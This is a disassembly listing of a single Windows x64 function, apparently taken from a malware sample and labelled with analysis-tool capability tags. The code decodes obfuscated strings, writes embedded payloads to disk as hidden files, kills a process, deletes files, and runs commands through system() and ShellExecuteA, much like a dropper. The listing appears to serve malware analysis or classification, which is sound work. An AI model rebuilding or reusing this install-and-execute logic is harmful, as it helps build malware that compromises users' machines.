Function at 0x1400815f0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x398]
sub rsp, 0x490
mov qword [rbp - 0x10], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x380], rax
call fcn.14007e670
mov dword [rbp - 8], 0x4f3c4d4c
mov word [rbp - 4], 0x100
lea rcx, [rbp - 8]
call fcn.140084870
lea r8, [0x1405d1770]
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x68]
call fcn.140088f40
cmp qword [rax + 0x18], 0x10
jb 0x140081665
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1405d3e88], rax
lea rcx, [rsp + 0x68]
call fcn.140085fb0
nop
cmp qword [0x1405d3e88], 0xffffffffffffffff
jne 0x140082438
lea rsi, [r14 - 1]
cmp byte [0x1405d3e08], r14b
jne 0x1400817ac
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x68]
call fcn.1400810e0
mov rdx, rax
lea rcx, [0x1405d1850]
call fcn.140086010
nop
lea rcx, [rsp + 0x68]
call fcn.140085fb0
nop
mov dword [rsp + 0x40], 0x766a743e
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084870
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081731
lea rdx, [rsp + 0x40]
lea rcx, [0x1405d1850]
call fcn.140086c30
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x40]
call fcn.140086060
lea rdx, [0x1405d1850]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1405d1850]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.140085fb0
nop
mov dword [rsp + 0x40], 0x76415452
mov dword [rsp + 0x44], 0x747f6366
mov dword [rsp + 0x48], 0x637f377d
mov word [rsp + 0x4c], 0x79
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084a90
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140086060
mov rcx, rax
call fcn.14007e7e0
test eax, eax
je 0x1400818a7
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081580
movdqa xmm0, xmmword [0x140284120]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140284250]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140284050]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140284080]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x140284090]
movdqa xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x20], 0x4e
mov byte [rbp - 0x1e], 1
lea rcx, [rbp - 0x70]
call fcn.140084840
lea rdx, [rbp - 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140089080
mov rcx, rax
lea rdx, [0x140089250]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x60677060
mov word [rsp + 0x44], WSACleanup
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140084ac0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x14008243a
movdqa xmm0, xmmword [0x140284280]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x45
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140084a60
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140086060
mov rcx, rax
call fcn.14007e7e0
test eax, eax
je 0x140081951
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140081580
movdqa xmm0, xmmword [0x140284110]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140284230]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140284200]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1402840a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1402840b0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x606000f
mov dword [rbp - 0x1c], 0x1004b16
lea rcx, [rbp - 0x70]
call fcn.140084810
lea rdx, [rbp - 0x70]
jmp 0x14008185b
mov dword [rsp + 0x40], 0x1002b53
lea rcx, [rsp + 0x40]
call fcn.1400848a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081970
lea rdx, [rsp + 0x40]
lea rdi, [0x1405d1530]
mov rcx, rdi
call fcn.140086c30
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1590]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d17f0]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1450]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1430]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d14d0]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1670]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1650]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d15b0]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d16f0]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d14f0]
call fcn.1400868d0
call fcn.140081440
movzx edx, al
lea rcx, [0x1405d1710]
call fcn.1400868d0
sub rbx, 1
jne 0x1400819a4
lea rcx, [rbp + 0x100]
call fcn.14008a470
lea rcx, [rbp + 0x100]
call fcn.1400868b0
nop
lea rcx, [rbp + 0x120]
call fcn.14008a470
lea rcx, [rbp + 0x120]
call fcn.1400868b0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x68]
call fcn.1400810e0
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140086010
nop
lea rcx, [rsp + 0x68]
call fcn.140085fb0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x68]
call fcn.140081230
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140086010
nop
lea rcx, [rsp + 0x68]
call fcn.140085fb0
nop
mov word [rsp + 0x40], 0x4c
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084800
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081b80
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140086c30
movzx eax, byte [0x1405d3e08]
test al, al
jne 0x140081bba
lea rdx, [rbp + 0x100]
mov rcx, rdi
call fcn.140085f90
lea rdx, [rbp + 0x120]
jmp 0x140081bc5
cmp al, 1
jne 0x140081bcd
lea rdx, [0x1405d1470]
mov rcx, rdi
call fcn.140085f90
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1405d1530]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1405d1530]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], 0x4c
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084800
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081c22
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140086c30
nop
lea rcx, [rbp + 0xe0]
call fcn.14008a470
lea rcx, [rbp + 0xe0]
call fcn.1400868b0
nop
lea rdx, [0x1405d1710]
lea rcx, [rbp + 0xe0]
call fcn.140085f90
mov dword [rsp + 0x40], 0x606b623e
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084870
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081c90
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.140086c30
nop
lea rcx, [rbp + 0xc0]
call fcn.14008a470
lea rcx, [rbp + 0xc0]
call fcn.1400868b0
nop
lea rdx, [0x1405d1590]
lea rcx, [rbp + 0xc0]
call fcn.140085f90
mov dword [rsp + 0x40], 0x766a743e
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084870
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081d00
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.140086c30
lea r8, [rbp + 0xe0]
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140089290
nop
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xc0]
mov rdx, rdi
lea rcx, [rbp]
call fcn.140089290
nop
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
lea r8d, [rdi + 0x2e3e00]
lea rdx, [0x1402d3190]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
mov r8d, 0x1a400
lea rdx, [0x1405b6f90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x40]
call fcn.14008a470
lea rcx, [rbp + 0x40]
call fcn.1400868b0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call fcn.140085f90
mov word [rsp + 0x40], gethostbyname
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.140084800
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081ed0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140086c30
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.140085f90
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
call fcn.140081380
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x60]
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.14008a470
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.140086cb0
nop
lea rcx, [rsp + 0x68]
call fcn.14007e7e0
mov rbx, rax
test eax, eax
je 0x140081f93
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x60]
call fcn.14008a470
lea rcx, [rbp + 0x60]
call fcn.1400868b0
nop
mov dword [rsp + 0x40], 0x70327263
mov dword [rsp + 0x44], 0x63777066
mov dword [rsp + 0x48], 0x100397d
lea rcx, [rsp + 0x40]
call fcn.140084a00
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081fd0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140086c30
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0x60]
call fcn.140085f90
mov dword [rsp + 0x40], 0x7d7b7330
mov dword [rsp + 0x44], 0x7f627464
mov dword [rsp + 0x48], 0x1003925
lea rcx, [rsp + 0x40]
call fcn.140084a00
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082022
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140086c30
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140085f90
mov dword [rsp + 0x40], 0x636b6530
mov dword [rsp + 0x44], 0x7c362871
mov dword [rsp + 0x48], 0x7e746b7d
mov word [rsp + 0x4c], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084a90
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082080
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.140086c30
mov dword [rsp + 0x40], 0x60327263
mov dword [rsp + 0x44], 0x37667a60
mov dword [rsp + 0x48], 0x7e79787e
mov dword [rsp + 0x4c], 0x1006975
lea rcx, [rsp + 0x40]
call fcn.140084b80
lea rcx, [rsp + 0x40]
call fcn.140081380
movdqa xmm0, xmmword [0x1402842a0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400847d0
lea rcx, [rsp + 0x40]
call fcn.140081380
mov dword [rsp + 0x40], 0x60327263
mov dword [rsp + 0x44], 0x37667a60
mov dword [rsp + 0x48], 0x717e6e
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140084a30
lea rcx, [rsp + 0x40]
call fcn.140081380
mov dword [rsp + 0x40], 0x77327263
mov dword [rsp + 0x44], 0x63737971
mov dword [rsp + 0x48], 0x7c6c397d
mov word [rsp + 0x4c], 0x77
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140084a90
lea rcx, [rsp + 0x40]
call fcn.140081380
nop
lea rcx, [rbp + 0x80]
call fcn.14008a470
lea rcx, [rbp + 0x80]
call fcn.1400868b0
nop
mov dword [rsp + 0x40], 0x60327263
mov dword [rsp + 0x44], 0x37667a60
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400847a0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400821a1
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140086c30
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0x80]
call fcn.140085f90
nop
lea rcx, [rbp + 0xa0]
call fcn.14008a470
lea rcx, [rbp + 0xa0]
call fcn.1400868b0
nop
mov dword [rsp + 0x40], 0x77327263
mov dword [rsp + 0x44], 0x63737971
mov dword [rsp + 0x48], 0x100397d
lea rcx, [rsp + 0x40]
call fcn.140084a00
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082213
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140086c30
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0xa0]
call fcn.140085f90
nop
lea rcx, [rbp + 0x140]
call fcn.14008a470
lea rcx, [rbp + 0x140]
call fcn.1400868b0
nop
mov dword [rsp + 0x40], 0x60327263
mov dword [rsp + 0x44], 0x63647460
mov word [rsp + 0x48], reloc.WS2_32.dll_getservbyport
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.140084b20
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140082286
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x140]
call fcn.140086c30
lea rdx, [0x1405d1770]
lea rcx, [rbp + 0x140]
call fcn.140085f90
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
call fcn.140081380
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.140081380
lea rcx, [rbp + 0x20]
call fcn.1400804a0
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x270]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x1405d3de0], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x1405d3e08]
cmp al, 1
jne 0x1400823da
mov dword [rsp + 0x40], 0x7d77617f
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.140082470
mov r8, qword [0x1405d3de0]
jmp 0x140082409
test al, al
jne 0x140082424
mov dword [rsp + 0x40], 0x7d77617f
mov word [rsp + 0x44], 0x100
lea rcx, [0x1405d1850]
call fcn.140085f80
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140082470
mov r8, rbx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.1401e6210
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret